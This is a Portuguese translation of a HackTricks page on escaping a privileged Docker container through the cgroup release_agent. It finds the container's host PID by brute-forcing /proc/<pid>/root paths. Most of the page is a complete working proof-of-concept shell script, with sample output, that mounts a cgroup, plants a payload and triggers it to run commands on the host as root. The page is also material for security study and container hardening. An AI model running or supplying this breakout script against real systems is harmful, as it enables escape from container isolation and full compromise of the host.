hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md

10 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Introdução

Os PoCs anteriores funcionam bem quando o container está configurado com um storage-driver que expõe o caminho completo do ponto de montagem no host, por exemplo, overlayfs, no entanto, existem configurações que não revelam claramente o ponto de montagem do sistema de arquivos do host.

Neste PoC, em vez de usar o caminho onde o container está localizado dentro do sistema de arquivos do host, vamos descobrir um PID do container dentro do host

Exemplos de container não expondo a localização do caminho dentro do host

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata Containers por padrão monta o sistema de arquivos raiz de um container sobre 9pfs. Isso não revela informações sobre a localização do sistema de arquivos do container na Máquina Virtual Kata Containers.

Device Mapper

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

PoC

A peça chave de informação necessária é o caminho completo, relativo ao host do container, de um arquivo para executar dentro do container. Sem conseguir discernir isso a partir dos pontos de montagem dentro do container, temos que procurar em outro lugar.

/proc/<pid>/root

O pseudo-sistema de arquivos /proc do Linux expõe estruturas de dados de processos do kernel para todos os processos em execução em um sistema, incluindo aqueles executados em diferentes namespaces, por exemplo, dentro de um container. Isso pode ser demonstrado executando um comando em um container e acessando o diretório /proc do processo no host:Container

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

A título de curiosidade, a estrutura de dados /proc/<pid>/root é uma que me confundiu por muito tempo, nunca consegui entender por que ter um link simbólico para / era útil, até que li a definição real nas páginas do manual:

/proc/[pid]/root

UNIX e Linux suportam a ideia de um diretório raiz por processo do sistema de arquivos, definido pela chamada de sistema chroot(2). Este arquivo é um link simbólico que aponta para o diretório raiz do processo e se comporta da mesma maneira que exe e fd/*.

No entanto, note que este arquivo não é apenas um link simbólico. Ele fornece a mesma visão do sistema de arquivos (incluindo namespaces e o conjunto de montagens por processo) que o próprio processo.

O link simbólico /proc/<pid>/root pode ser usado como um caminho relativo ao host para qualquer arquivo dentro de um container:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

{% hint style="warning" %} Isso muda o requisito para o ataque de conhecer o caminho completo, relativo ao host do container, de um arquivo dentro do container, para conhecer o pid de qualquer processo em execução no container. {% endhint %}

Pid Bashing

Esta é na verdade a parte fácil, os ids de processos no Linux são numéricos e atribuídos sequencialmente. O processo init recebe o id de processo 1 e todos os processos subsequentes recebem ids incrementais. Para identificar o id do processo host de um processo dentro de um container, pode-se usar uma busca incremental por força bruta:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

Anfitrião

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

Juntando Tudo

Para completar este ataque, a técnica de força bruta pode ser usada para adivinhar o PID para o caminho /proc/<pid>/root/payload.sh, com cada iteração escrevendo o caminho do pid adivinhado no arquivo release_agent dos cgroups, acionando o release_agent e verificando se um arquivo de saída é criado.

A única ressalva com esta técnica é que ela não é de forma alguma sutil e pode aumentar muito a contagem de pids. Como nenhum processo de longa duração é mantido em execução, isso deveria não causar problemas de confiabilidade, mas não me cite nisso.

O PoC abaixo implementa essas técnicas para fornecer um ataque mais genérico do que o originalmente apresentado no PoC de Felix para escapar de um container privilegiado usando a funcionalidade release_agent dos cgroups:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: